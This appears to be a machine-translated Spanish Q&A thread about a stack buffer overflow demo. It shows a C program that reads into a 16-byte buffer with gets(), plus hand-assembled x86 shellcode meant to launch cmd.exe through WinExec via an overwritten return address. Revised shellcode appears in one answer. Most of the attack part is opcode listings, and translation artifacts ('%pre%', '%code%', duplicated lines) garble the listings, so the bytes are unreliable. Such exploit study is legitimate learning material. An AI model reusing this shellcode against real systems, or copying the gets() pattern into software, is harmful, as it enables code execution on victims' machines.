¿El desbordamiento del búfer de la pila explota los caracteres de apilamiento?

1

Tengo un programa como este:

int main() {  
   char buffer[16];
   printf("Write something: ");
   gets(buffer);
   printf("You wrote: %s\n", buffer);
   return 0; 
}

Y he escrito un pequeño bytecode payload, que debería lanzar cmd.exe a través de WinExec,

ADD ESP -80      ; 83 C4 80, at 0x0019FF28
XOR EDX, EDX     ; 31 D2   
PUSH EDX         ; 52
PUSH 'd'         ; 6A 64
PUSH 'm'         ; 6A 6D
PUSH 'c'         ; 6A 63    
PUSH  1          ; 6A 01
NOP              ; 90
CALL F0 F7 77 74 ; E8 F0 F7 77 74 = WinExec (0x7477F7F0) 
28 FF 19         ; 28 FF 19 <-- this should be a new return address

Por lo tanto, no podrá ejecutar el código, lo cual es incorrecto. ¿Alguna idea de cómo modificar el código o alguna idea de qué debo incorporar en el código? Y no estoy seguro de que la inserción de caracteres en la pila también sea válida. (Y sí, es solo una demostración)

    
pregunta PeterBocan 05.04.2017 - 08:37
fuente

2 respuestas

2

Esto es lo que se me ocurrió:

63 6D 64       ; "cmd"  <-- 0x19FF28
20             ; 
63 6D 64       ; "cmd"  <-- 0x19FF28
20             ; %pre%x14
31 C0          ; XOR EAX, EAX <-- 0x19FF2C
8D 1C E4       ; LEA EBX, [ESP]
88 43 03       ; MOV BYTE PTR DS:[EBX+4], AL
40             ; INC EAX
53             ; PUSH EBX
50             ; PUSH EAX (inc)
E8 74 77 F7 F0 ; CALL 74 77 F7 F0 
19 FF 2C       ; jump back to 0x19FF2C
x14 31 C0 ; XOR EAX, EAX <-- 0x19FF2C 8D 1C E4 ; LEA EBX, [ESP] 88 43 03 ; MOV BYTE PTR DS:[EBX+4], AL 40 ; INC EAX 53 ; PUSH EBX 50 ; PUSH EAX (inc) E8 74 77 F7 F0 ; CALL 74 77 F7 F0 19 FF 2C ; jump back to 0x19FF2C

Ocupa 23 bytes, sin embargo, necesita una modificación en la dirección, donde salta.

    
respondido por el PeterBocan 05.04.2017 - 11:28
fuente
0

Parece que estás llamando a WinExec('d', 'm', 'c', 1) , ya que presionas cada personaje por separado en la pila.

En su lugar, debe empujar un puntero a la pila que apunta a cmdc . En otras palabras, presionas la dirección de cmd%code% en %code% , donde %code% es el byte nulo.

    
respondido por el Sjoerd 05.04.2017 - 08:47
fuente

Lea otras preguntas en las etiquetas